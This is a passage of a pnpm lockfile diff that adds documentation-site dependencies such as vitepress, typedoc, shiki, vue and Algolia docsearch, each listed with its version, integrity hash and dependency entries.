+ micromark-util-sanitize-uri@2.0.1: + resolution: {integrity: sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==} + + micromark-util-symbol@2.0.1: + resolution: {integrity: sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==} + + micromark-util-types@2.0.2: + resolution: {integrity: sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==} + micromatch@4.0.8: resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} engines: {node: '>=8.6'} @@ -1990,6 +2550,12 @@ packages: resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==} engines: {node: '>=16 || 14 >=14.17'} + minisearch@7.2.0: + resolution: {integrity: sha512-dqT2XBYUOZOiC5t2HRnwADjhNS2cecp9u+TJRiJ1Qp/f5qjkeT5APcGPjHw+bz89Ms8Jp+cG4AlE+QZ/QnDglg==} + + mitt@3.0.1: + resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==} + mri@1.2.0: resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} engines: {node: '>=4'} @@ -2017,6 +2583,9 @@ packages: resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} engines: {node: '>=6'} + oniguruma-to-es@3.1.1: + resolution: {integrity: sha512-bUH8SDvPkH3ho3dvwJwfonjlQ4R80vjyvrU8YpxuROddv55vAEJrTuCuCVUhhsHbtlD9tGGbaNApGQckXhS8iQ==} + optionator@0.9.4: resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} engines: {node: '>= 0.8.0'} @@ -2081,6 +2650,9 @@ packages: pathe@2.0.3: resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==} + perfect-debounce@1.0.0: + resolution: {integrity: sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA==} + picocolors@1.1.1: resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} @@ -2100,6 +2672,14 @@ packages: resolution: {integrity: sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==} engines: {node: ^10 || ^12 || >=14} + preact@10.29.8: + resolution: {integrity: sha512-ej2aVZ+vZ8WO7tvlQWRM9N63A0KzF9q4mWJfDUHgYaIofWY9hu74QdnQrjoPMmZi2/nZ5gN0bJCQF49xQqx09Q==} + peerDependencies: + preact-render-to-string: '>=5' + peerDependenciesMeta: + preact-render-to-string: + optional: true + prelude-ls@1.2.1: resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} engines: {node: '>= 0.8.0'} @@ -2109,11 +2689,18 @@ packages: engines: {node: '>=10.13.0'} hasBin: true + property-information@7.2.0: + resolution: {integrity: sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg==} + publint@0.3.23: resolution: {integrity: sha512-5MQipUPcB7MWw84zLUkHrg/H/UBtk3LL+A0GngTTBSsiNJLQurMUaSIRG3edlOrRz4UFe0AOKK9TZdIWviV+jQ==} engines: {node: '>=18'} hasBin: true + punycode.js@2.3.1: + resolution: {integrity: sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==} + engines: {node: '>=6'} + punycode@2.3.1: resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} engines: {node: '>=6'} @@ -2139,6 +2726,15 @@ packages: resolution: {integrity: sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ==} engines: {node: '>= 20.19.0'} + regex-recursion@6.0.2: + resolution: {integrity: sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==} + + regex-utilities@2.3.0: + resolution: {integrity: sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==} + + regex@6.1.0: + resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} + resolve-from@5.0.0: resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} engines: {node: '>=8'} @@ -2154,6 +2750,9 @@ packages: resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + rfdc@1.4.1: + resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==} + rolldown-plugin-dts@0.27.14: resolution: {integrity: sha512-ZvuDDwoIpRK9RPxDXratCpklFO9QZZWndf/sd0VBFb4LEj0jj07UcHK9OCh7V4XiFz2Z89ziyBC2K6tJiDjrbw==} engines: {node: ^22.18.0 || >=24.11.0} @@ -2200,6 +2799,9 @@ packages: resolution: {integrity: sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==} engines: {node: '>=v12.22.7'} + search-insights@2.17.3: + resolution: {integrity: sha512-RQPdCYTa8A68uM2jwxoY842xDhvx3E5LFL1LxvxCNMev4o5mLuokczhzjAgGwUZBAmOKZknArSxLKmXtIi2AxQ==} + section-matter@1.0.0: resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==} engines: {node: '>=4'} @@ -2217,6 +2819,9 @@ packages: resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} engines: {node: '>=8'} + shiki@2.5.0: + resolution: {integrity: sha512-mI//trrsaiCIPsja5CNfsyNOqgAZUb6VpJA+340toL42UpzQlXpwRV9nch69X6gaUxrr9kaOOa6e3y3uAkGFxQ==} + siginfo@2.0.0: resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==} @@ -2235,6 +2840,9 @@ packages: resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} engines: {node: '>=0.10.0'} + space-separated-tokens@2.0.2: + resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} + spawndamnit@3.0.1: resolution: {integrity: sha512-MmnduQUuHCoFckZoWnXsTg7JaiLBJrKFj9UI2MbRPGaJeVpsLcVBu6P/IGZovziM/YBsellCmsprgNA+w0CzVg==} @@ -2247,6 +2855,10 @@ packages: spdx-license-ids@3.0.23: resolution: {integrity: sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw==} + speakingurl@14.0.1: + resolution: {integrity: sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==} + engines: {node: '>=0.10.0'} + sprintf-js@1.0.3: resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} @@ -2263,6 +2875,9 @@ packages: string_decoder@1.3.0: resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} + stringify-entities@4.0.4: + resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} + strip-ansi@6.0.1: resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} engines: {node: '>=8'} @@ -2275,10 +2890,17 @@ packages: resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} engines: {node: '>=4'} + superjson@2.2.6: + resolution: {integrity: sha512-H+ue8Zo4vJmV2nRjpx86P35lzwDT3nItnIsocgumgr0hHMQ+ZGq5vrERg9kJBo5AWGmxZDhzDo+WVIJqkB0cGA==} + engines: {node: '>=16'} + supports-color@7.2.0: resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} engines: {node: '>=8'} + tabbable@6.5.0: + resolution: {integrity: sha512-wieBHXygIm7OyQOu5hQlkk62/WyCFYGlWg7L6/ZCUZwx0o398Zkn4pVmMyfYhfMG8kGrj/Krt8eIk6UKC6VzwA==} + term-size@2.2.1: resolution: {integrity: sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==} engines: {node: '>=8'} @@ -2306,6 +2928,9 @@ packages: resolution: {integrity: sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==} hasBin: true + trim-lines@3.0.1: + resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} + ts-api-utils@2.5.0: resolution: {integrity: sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==} engines: {node: '>=18.12'} @@ -2350,6 +2975,24 @@ packages: resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} + typedoc-plugin-markdown@4.12.0: + resolution: {integrity: sha512-eJDEMAfxCmede22c/Jw7d0FA13ggAQv+KkwQYKYCdqI02cin6Rc9QRwbG/7XvvHWinuFejySnZVUWDtvGk3Vbg==} + engines: {node: '>= 18'} + peerDependencies: + typedoc: 0.28.x + + typedoc-vitepress-theme@1.1.3: + resolution: {integrity: sha512-EK9iV7e3+R8lFNigdc0rIPWMxqfmDku0uGac3qYUu9tS4Qf1rhWZnyZJ4zu4G3iXrP5mqNPkv2wpODzRlA7jLw==} + peerDependencies: + typedoc-plugin-markdown: '>=4.11.0' + + typedoc@0.28.20: + resolution: {integrity: sha512-uSKqkh8Cr48vllnEy+jdaAgOeR6Y+QCBW7usgUsKj7gJEfR7stw9U/fE49LBnj2tPRKPY0c0EBJSWe9Appmplg==} + engines: {node: '>= 18', pnpm: '>= 10'} + hasBin: true + peerDependencies: + typescript: 5.0.x || 5.1.x || 5.2.x || 5.3.x || 5.4.x || 5.5.x || 5.6.x || 5.7.x || 5.8.x || 5.9.x || 6.0.x + typescript-eslint@8.66.0: resolution: {integrity: sha512-QlEbBPz/RuJ1XUHj29nm3t0F/O/cSlEnntozqPOYHnnTGAXFamnMBu5i9Vn6vhUPHGAjR+Vl+5J8vPN/BMUrJw==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} @@ -2372,12 +3015,30 @@ packages: engines: {node: '>=16.20.0'} hasBin: true + uc.micro@2.1.0: + resolution: {integrity: sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==} + unconfig-core@7.5.0: resolution: {integrity: sha512-Su3FauozOGP44ZmKdHy2oE6LPjk51M/TRRjHv2HNCWiDvfvCoxC2lno6jevMA91MYAdCdwP05QnWdWpSbncX/w==} undici-types@6.21.0: resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==} + unist-util-is@6.0.1: + resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==} + + unist-util-position@5.0.0: + resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==} + + unist-util-stringify-position@4.0.0: + resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==} + + unist-util-visit-parents@6.0.2: + resolution: {integrity: sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==} + + unist-util-visit@5.1.0: + resolution: {integrity: sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==} + universalify@0.1.2: resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==} engines: {node: '>= 4.0.0'} @@ -2396,6 +3057,43 @@ packages: resolution: {integrity: sha512-zj/ob3UsvJGN0whEAKFp53REA5X66hvffVqoCtVQAakJKnKlH+/PcOfMoFwIG/o4rElqLv/ycAFlx8ZlXUorCg==} engines: {node: '>=18.12.0'} + vfile-message@4.0.3: + resolution: {integrity: sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==} + + vfile@6.0.3: + resolution: {integrity: sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==} + + vite@5.4.21: + resolution: {integrity: sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==} + engines: {node: ^18.0.0 || >=20.0.0} + hasBin: true + peerDependencies: + '@types/node': ^18.0.0 || >=20.0.0 + less: '*' + lightningcss: ^1.21.0 + sass: '*' + sass-embedded: '*' + stylus: '*' + sugarss: '*' + terser: ^5.4.0 + peerDependenciesMeta: + '@types/node': + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + vite@7.3.6: resolution: {integrity: sha512-4XP60spRGjSZFf1qYH+dJIkK2znL3zQfl9KkOV9MkkRR/3Dls0dxaBsQPTloEc5BLXWPL9vsOxopxyKoMmDueg==} engines: {node: ^20.19.0 || >=22.12.0} @@ -2436,6 +3134,18 @@ packages: yaml: optional: true + vitepress@1.6.4: + resolution: {integrity: sha512-+2ym1/+0VVrbhNyRoFFesVvBvHAVMZMK0rw60E3X/5349M1GuVdKeazuksqopEdvkKwKGs21Q729jX81/bkBJg==} + hasBin: true + peerDependencies: + markdown-it-mathjax3: ^4 + postcss: ^8 + peerDependenciesMeta: + markdown-it-mathjax3: + optional: true + postcss: + optional: true + vitest@4.1.10: resolution: {integrity: sha512-R9jUTe5S4Qb0HCd4TNqpC7oGcrMssMRGXLW80ubjWsW9VH5GF8y1Y0SFLY9AbqSk6nt0PnOx4H4WNJYZ13GUPw==} engines: {node: ^20.0.0 || ^22.0.0 || >=24.0.0} @@ -2477,6 +3187,14 @@ packages: jsdom: optional: true + vue@3.5.41: + resolution: {integrity: sha512-2laE0p+aK+/AOPG/XL/WepOs/GlK755LJ1XECi9kDUrz1FKNw8rb2Xzlw9JS1rqEV55nb0ttsKxVlTCcd+R5cg==} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + wcwidth@1.0.1: resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==} @@ -2515,8 +3233,123 @@ packages: yuku-parser@0.8.3: resolution: {integrity: sha512-KPQcpF9aj77ywlJBIkQWCQ9DObdxnCA8AJdUOmA5CZZx042Xt4+dvbQmPJfWxF3E+KG5dVAZ2fBKuDJ8VsKWgA==} + zwitch@2.0.4: + resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} + snapshots: + '@algolia/abtesting@1.22.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/autocomplete-core@1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0)(search-insights@2.17.3)': + dependencies: + '@algolia/autocomplete-plugin-algolia-insights': 1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0)(search-insights@2.17.3) + '@algolia/autocomplete-shared': 1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0) + transitivePeerDependencies: + - '@algolia/client-search' + - algoliasearch + - search-insights + + '@algolia/autocomplete-plugin-algolia-insights@1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0)(search-insights@2.17.3)': + dependencies: + '@algolia/autocomplete-shared': 1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0) + search-insights: 2.17.3 + transitivePeerDependencies: + - '@algolia/client-search' + - algoliasearch + + '@algolia/autocomplete-preset-algolia@1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0)': + dependencies: + '@algolia/autocomplete-shared': 1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0) + '@algolia/client-search': 5.56.0 + algoliasearch: 5.56.0 + + '@algolia/autocomplete-shared@1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0)': + dependencies: + '@algolia/client-search': 5.56.0 + algoliasearch: 5.56.0 + + '@algolia/client-abtesting@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/client-analytics@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/client-common@5.56.0': {} + + '@algolia/client-insights@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/client-personalization@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/client-query-suggestions@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/client-search@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/ingestion@1.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/monitoring@1.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/recommend@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@algolia/requester-browser-xhr': 5.56.0 + '@algolia/requester-fetch': 5.56.0 + '@algolia/requester-node-http': 5.56.0 + + '@algolia/requester-browser-xhr@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + + '@algolia/requester-fetch@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + + '@algolia/requester-node-http@5.56.0': + dependencies: + '@algolia/client-common': 5.56.0 + '@andrewbranch/untar.js@1.0.3': {} '@arethetypeswrong/core@0.18.5': @@ -2530,8 +3363,21 @@ snapshots: typescript: 5.6.1-rc validate-npm-package-name: 5.0.1 + '@babel/helper-string-parser@7.29.7': {} + + '@babel/helper-validator-identifier@7.29.7': {} + + '@babel/parser@7.29.8': + dependencies: + '@babel/types': 7.29.8 + '@babel/runtime@7.29.7': {} + '@babel/types@7.29.8': + dependencies: + '@babel/helper-string-parser': 7.29.7 + '@babel/helper-validator-identifier': 7.29.7 + '@braidai/lang@1.1.2': {} '@changesets/apply-release-plan@7.1.1': @@ -2677,81 +3523,175 @@ snapshots: human-id: 4.2.0 prettier: 2.8.8 + '@docsearch/css@3.8.2': {} + + '@docsearch/js@3.8.2(@algolia/client-search@5.56.0)(search-insights@2.17.3)': + dependencies: + '@docsearch/react': 3.8.2(@algolia/client-search@5.56.0)(search-insights@2.17.3) + preact: 10.29.8 + transitivePeerDependencies: + - '@algolia/client-search' + - '@types/react' + - preact-render-to-string + - react + - react-dom + - search-insights + + '@docsearch/react@3.8.2(@algolia/client-search@5.56.0)(search-insights@2.17.3)': + dependencies: + '@algolia/autocomplete-core': 1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0)(search-insights@2.17.3) + '@algolia/autocomplete-preset-algolia': 1.17.7(@algolia/client-search@5.56.0)(algoliasearch@5.56.0) + '@docsearch/css': 3.8.2 + algoliasearch: 5.56.0 + optionalDependencies: + search-insights: 2.17.3 + transitivePeerDependencies: + - '@algolia/client-search' + + '@esbuild/aix-ppc64@0.21.5': + optional: true + '@esbuild/aix-ppc64@0.28.1': optional: true + '@esbuild/android-arm64@0.21.5': + optional: true + '@esbuild/android-arm64@0.28.1': optional: true + '@esbuild/android-arm@0.21.5': + optional: true + '@esbuild/android-arm@0.28.1': optional: true + '@esbuild/android-x64@0.21.5': + optional: true + '@esbuild/android-x64@0.28.1': optional: true + '@esbuild/darwin-arm64@0.21.5': + optional: true + '@esbuild/darwin-arm64@0.28.1': optional: true + '@esbuild/darwin-x64@0.21.5': + optional: true + '@esbuild/darwin-x64@0.28.1': optional: true + '@esbuild/freebsd-arm64@0.21.5': + optional: true + '@esbuild/freebsd-arm64@0.28.1': optional: true + '@esbuild/freebsd-x64@0.21.5': + optional: true + '@esbuild/freebsd-x64@0.28.1': optional: true + '@esbuild/linux-arm64@0.21.5': + optional: true + '@esbuild/linux-arm64@0.28.1': optional: true + '@esbuild/linux-arm@0.21.5': + optional: true + '@esbuild/linux-arm@0.28.1': optional: true + '@esbuild/linux-ia32@0.21.5': + optional: true + '@esbuild/linux-ia32@0.28.1': optional: true + '@esbuild/linux-loong64@0.21.5': + optional: true + '@esbuild/linux-loong64@0.28.1': optional: true + '@esbuild/linux-mips64el@0.21.5': + optional: true + '@esbuild/linux-mips64el@0.28.1': optional: true + '@esbuild/linux-ppc64@0.21.5': + optional: true + '@esbuild/linux-ppc64@0.28.1': optional: true + '@esbuild/linux-riscv64@0.21.5': + optional: true + '@esbuild/linux-riscv64@0.28.1': optional: true + '@esbuild/linux-s390x@0.21.5': + optional: true + '@esbuild/linux-s390x@0.28.1': optional: true + '@esbuild/linux-x64@0.21.5': + optional: true + '@esbuild/linux-x64@0.28.1': optional: true '@esbuild/netbsd-arm64@0.28.1': optional: true + '@esbuild/netbsd-x64@0.21.5': + optional: true + '@esbuild/netbsd-x64@0.28.1': optional: true '@esbuild/openbsd-arm64@0.28.1': optional: true + '@esbuild/openbsd-x64@0.21.5': + optional: true + '@esbuild/openbsd-x64@0.28.1': optional: true '@esbuild/openharmony-arm64@0.28.1': optional: true + '@esbuild/sunos-x64@0.21.5': + optional: true + '@esbuild/sunos-x64@0.28.1': optional: true + '@esbuild/win32-arm64@0.21.5': + optional: true + '@esbuild/win32-arm64@0.28.1': optional: true + '@esbuild/win32-ia32@0.21.5': + optional: true + '@esbuild/win32-ia32@0.28.1': optional: true + '@esbuild/win32-x64@0.21.5': + optional: true + '@esbuild/win32-x64@0.28.1': optional: true @@ -2789,6 +3729,14 @@ snapshots: '@eslint/core': 1.2.1 levn: 0.4.1 + '@gerrit0/mini-shiki@3.23.0': + dependencies: + '@shikijs/engine-oniguruma': 3.23.0 + '@shikijs/langs': 3.23.0 + '@shikijs/themes': 3.23.0 + '@shikijs/types': 3.23.0 + '@shikijs/vscode-textmate': 10.0.2 + '@humanfs/core@0.19.2': dependencies: '@humanfs/types': 0.15.0 @@ -2807,6 +3755,12 @@ snapshots: '@iarna/toml@2.2.5': {} + '@iconify-json/simple-icons@1.2.93': + dependencies: + '@iconify/types': 2.0.0 + + '@iconify/types@2.0.0': {} + '@inquirer/ansi@2.0.7': {} '@inquirer/checkbox@5.2.1(@types/node@20.19.43)': @@ -3096,6 +4050,64 @@ snapshots: '@rollup/rollup-win32-x64-msvc@4.62.3': optional: true + '@shikijs/core@2.5.0': + dependencies: + '@shikijs/engine-javascript': 2.5.0 + '@shikijs/engine-oniguruma': 2.5.0 + '@shikijs/types': 2.5.0 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.5 + hast-util-to-html: 9.0.5 + + '@shikijs/engine-javascript@2.5.0': + dependencies: + '@shikijs/types': 2.5.0 + '@shikijs/vscode-textmate': 10.0.2 + oniguruma-to-es: 3.1.1 + + '@shikijs/engine-oniguruma@2.5.0': + dependencies: + '@shikijs/types': 2.5.0 + '@shikijs/vscode-textmate': 10.0.2 + + '@shikijs/engine-oniguruma@3.23.0': + dependencies: + '@shikijs/types': 3.23.0 + '@shikijs/vscode-textmate': 10.0.2 + + '@shikijs/langs@2.5.0': + dependencies: + '@shikijs/types': 2.5.0 + + '@shikijs/langs@3.23.0': + dependencies: + '@shikijs/types': 3.23.0 + + '@shikijs/themes@2.5.0': + dependencies: + '@shikijs/types': 2.5.0 + + '@shikijs/themes@3.23.0': + dependencies: + '@shikijs/types': 3.23.0 + + '@shikijs/transformers@2.5.0': + dependencies: + '@shikijs/core': 2.5.0 + '@shikijs/types': 2.5.0 + + '@shikijs/types@2.5.0': + dependencies: + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.5 + + '@shikijs/types@3.23.0': + dependencies: + '@shikijs/vscode-textmate': 